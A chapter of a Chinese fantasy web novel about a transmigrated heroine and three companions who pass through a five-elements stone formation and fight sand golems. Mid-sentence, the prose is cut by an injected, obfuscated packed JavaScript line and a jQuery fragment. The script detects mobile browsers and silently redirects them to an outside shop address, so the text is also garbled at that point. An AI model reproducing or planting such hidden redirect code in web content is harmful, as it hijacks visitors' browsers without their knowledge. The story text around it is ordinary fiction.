越怀安走在陌生的石阵之中,左顾右盼,满是不解。他边走边弯下身,在向晴枝耳边低声问道:“可以告诉我这是在哪儿吗?”
“说来话长。”向晴枝用手掌挡住嘴,在越怀安耳边轻声说道,“你只需记住,出这石阵之前,少说话,少出风头,跟着他们走就行。”
听到身后有细碎的声音传来,宋微岚转过身,瞧见向晴枝和师父正在耳语,忽觉有些尴尬,急忙转过了头去。
经过刚才一番殊死搏斗,来时的那条泥泞小道也在不知不觉间变换了模样。
几人前行不久,便又遇到另一个难题:道路再次分裂成了三条完全不同的小径。
只见左边小径的地上,铺满了一尘不染的青石板。石板两旁生长着绚丽夺目的奇花异草。微风从小径尽头吹来,夹杂着阵阵诱人的香气。中间一条则是裸露着黄色沙粒的蜿蜒小径。两旁耸立的高大石柱上,布满了龟裂的裂缝。空气中满是滚烫的热浪。而右边那条则是完全相反。地上结着一层厚厚的坚冰,两侧的树干挂满了晶莹的冰凌,一片死寂。
向晴枝看着眼前的景象,觉得似曾相识。
原书中,师徒三人进入石阵后,第一次面临的选择便是这三条小路,只是排列顺序稍有不同。只有温延选择了那条布满黄沙的蜿蜒小径,最终成功通向了生门。
正在向晴枝想得入神之时,温延已经来到了她和越怀安身边。
他先是看了看向晴枝,又转头看向一旁的越怀安,紧皱双眉,试探道:“师父,我们该走哪条路好呢?”
越怀安刚刚醒来,并未了解整件事的来龙去脉。加之向晴枝刚才告诉他要少出风头,于是故意板着脸,冷声道:“一切听晴……啊啊啊啊啊!”
他话还未说完,只觉一阵剧痛袭来。原来是向晴枝在一旁死死掐住了他的侧腰。
“怎么了师父?”宋微岚听到师父的惨叫声,转身关切道。
越怀安不知向晴枝为何会下手如此之狠,一脸委屈之色。心道可能自己刚刚说错话,于是立刻改口:“都、都听阿延你的吧。”
“师父,您刚才唤我什么?”温延面露一副难以置信的表情。
“你不是叫阿延吗,难道是我听错了?”越怀安睁着一双澄澈的绿色眼眸看向温延。
向晴枝扶额,在她的印象之中,伶舟越从未如此亲昵地叫过温延,难怪对方会如此吃惊。
听到越怀安的话他不由得愣了半晌,而后轻笑一声道:“师父说得没错,刚才是徒儿失礼了。”
言毕,他转身走向三岔路口:“有刚才的前车之鉴,我以为左边这条路可首先排除。”
宋微岚先是点头赞同,而后又问道:“那剩下两条又应如何选择?”
向晴枝此番并未介入两人的交谈。她想,若没有大的变数,温延定会做出和书中同样的选择。
温延思忖片刻,抬手指向最右边的那条小路,分析道:“依据阵法来看,此路阴冷湿寒,属坎水。看似安静无波,实则暗藏危机。”
“照这样说,中间这条路相反,干燥炎热属离火,极有可能通向生门!”宋微岚补充道。
“嗯,没错!”温延点点头,转身走到一直默不作声的越怀安身边,问道,“师父,我们的推测对吗?”
向晴枝心想,温延一向谦逊有礼,很少如此咄咄逼人。恐怕他已对越怀安产生了怀疑。
“师父?”温延见对方迟迟不答,追问道。
向晴枝侧过头,心惊胆战地看向身边的越怀安,想起他并不擅长法术,可能对五行八卦之术也不甚知晓,不由得瞪大眼睛看着他,咽了咽口水。
越怀安刚才还一副事不关己的模样,但在温延的步步紧逼下,忽然脸色变得严肃起来。
他从刚才两人的对话中,大致了解了几人现在的处境与阵法的布局:“离火能生土。这五行八卦阵中的生门本就属土,你们的说法没错,这是唯一的选择。”
向晴枝见越怀安说得振振有词,只觉刚才是白担心了一场。
待温延走远,向晴枝嘴角微微上扬,一双亮晶晶的杏眼看着越怀安:“行啊,想不到你还懂这些东西。”
越怀安闻言,不由得轻笑出声凑到向晴枝耳边轻声道:“我其实不喜欢这些,只是幼时随先生学过一些皮毛罢了,晴枝姑娘见笑了。”
难得见到这张脸上出现如此爽朗的笑容,向晴枝一时竟看得有些出神。
很快,四人便踏上了那条黄沙小径。
刚一踩上厚厚的沙土,滚滚热浪便朝几人席卷而来,在蒸腾的热气中,眼前所有的一切都变得扭曲而幻灭。
向晴枝呼吸有些困难,她双脚踩在如炭火般滚烫的沙土中,热气从她的靴底不停漫上。
几人艰难地行了数十丈远,已经累得口干舌燥,可依然看不到尽头。
登时,林立在两旁的褐色石柱骤然发出沉闷的裂响。岩层顺着本就布满裂纹的表面剥落下来,无数碎屑在热浪中翻滚。
“不好!大家注意脚下!”温延边说,边将几人聚在一起。
漫天流动的黄沙受阵法引力的牵引,在空中盘旋而又慢慢聚拢。转瞬间,竟凝成了十几尊八尺高的沙傀!
这些沙傀都穿着士兵的铠甲,手中握着长枪,深陷的眼窝中两个黑洞洞的眼睛,一动不动地死死盯着四人。
温延见状低喝一声,拔剑而出。宋微岚亦将手中宝剑出鞘,腾空而起。
两人极有默契地挥动利剑,相互配合,在空中身形交错间,很快便朝站在最前方的沙傀的胸前齐齐刺去。
轰!
那沙傀被刺中要害,瞬间炸开漫天黄沙。可不过一瞬,刚刚散开的黄沙,竟重新汇聚,再度拼凑出了一具更加高大的躯体!
原书中讲过,这些沙傀是由困死在阵中的怨灵所幻化,怨念极深。
温延在与它们搏斗时,受了非常重的内伤。最后因他打开生门,破了阵眼,利用古镜之力,内伤才渐渐恢复。
“不行的!这些沙傀靠蛮力是杀不死的!”宋微岚大喊道。
倏尔,所有刚才原地不动的沙傀,在剑气的刺激下,逐渐狂躁起来。
它们身上的黄沙流动得更加猛烈。
其中最为高大的沙傀仰天长啸一声,所有的沙傀瞬间被唤醒,原本空洞的黑色眼睛统统变成了可怖的血红色。
它
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17773322|206562||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
们面色狰狞,高举长枪,纷纷朝四人袭来!
向晴枝来不及多说,甩出长鞭,蓄势待发。忽然,她视线受阻,一个高大的身影挡在了她身前。
是越怀安!
只见他紧蹙眉头,眼睛狠狠看向前方的沙傀。他双手手掌伸开,一团红色的火光在他掌心“噼啪”作响。
“停下,不能用法术!你会受伤的!”向晴枝急忙阻止道。
“我不怕!”越怀安侧过脸,斩钉截铁道。火光再次出现在了他的掌心。
向晴枝心下无奈,干脆紧紧捂住他的双手,两颊因太过着急而染上一层薄红:“若你不想和伶舟越一样,就乖乖听话好不好?!”
闻言,越怀安愣了一瞬,果然放下了双手。正在此时,一只长枪破空而来!
“小心!”向晴枝一把揽住越怀安的手臂,侧身一闪,不料脚下不稳,两人重重摔倒在地。
见那沙傀复又袭来,向晴枝急忙拉起越怀安的手,指向那枚玉扳指:“用这个!只要转动机关,里面便会飞出银丝,可绞断沙傀!”
“好!”越怀安点头道。
由于刚才太过混乱,向晴枝竟一时忘记了书中描述的破解之法。
越怀安的近战功力极强,那银丝在他手中收放自如。他始终在距离向晴枝极近的距离,轻盈的身姿穿梭于沙傀之间,黄沙时聚时散,怨灵的惨叫声此起彼伏。
向晴枝一边挥鞭抵挡,一边努力回忆着书中的情节。忽然,“啪”的一声,温延被三个沙傀合力围攻,一不小心,被狠狠扔到了一旁的石柱之上,摔落在地。
那被撞击的石柱剧烈地震颤着,柱身纵横交错的裂缝中忽然开始流动着黑色鎏金。它们如岩浆一般慢慢爬行,散发出刺鼻的气味,最终流入地上的黄沙之中,成为这些沙傀的养料。
“想起来了!”向晴枝纵身一跃,猛地将长鞭挥下,一个沙傀从头到脚被瞬间劈成了两半,“别攻击沙傀!直接击碎两边的石柱!石柱里流动的怨力,才是沙傀体内怨灵的真身!”
温延毫不犹豫腾空而上,将手中的重剑高高举起而后奋力朝眼前的石柱猛地劈下。
“啪”的一声巨响,那石柱先是从顶部裂开了一条宽大的口子,石柱中流动的怨力纷纷外溢而出。它们嘶吼着,挣扎着,最终在酷热中蒸发殆尽。
几乎同时,两个正在和宋微岚缠斗的沙傀瞬间变成了无数轻飘飘的沙粒,消失在空中。
果然没错!
向晴枝无比兴奋之时,身后忽然闪出了一个沙傀。它高举长枪,来势汹汹,眼神中满是杀意。
“小心!”
远处的宋微岚和温延几乎同时看向向晴枝,大喊道。
向晴枝猛地回头,来不及躲闪,眼看那长枪便要刺中她身体,忽然两把闪着红色幽光的骨刀“哐当”一声将长枪死死抵住。那骨刀向左一拧,枪头便飞了出去,瞬间变成沙尘。
“晴枝,你没事吧?!”
越怀安关切地看着向晴枝,双手紧握着骨刀,红色灵流如闪电般在他掌心闪动。
“我有事!”
向晴枝看着他手中锋利的骨刀,气得直接一把将他推得老远。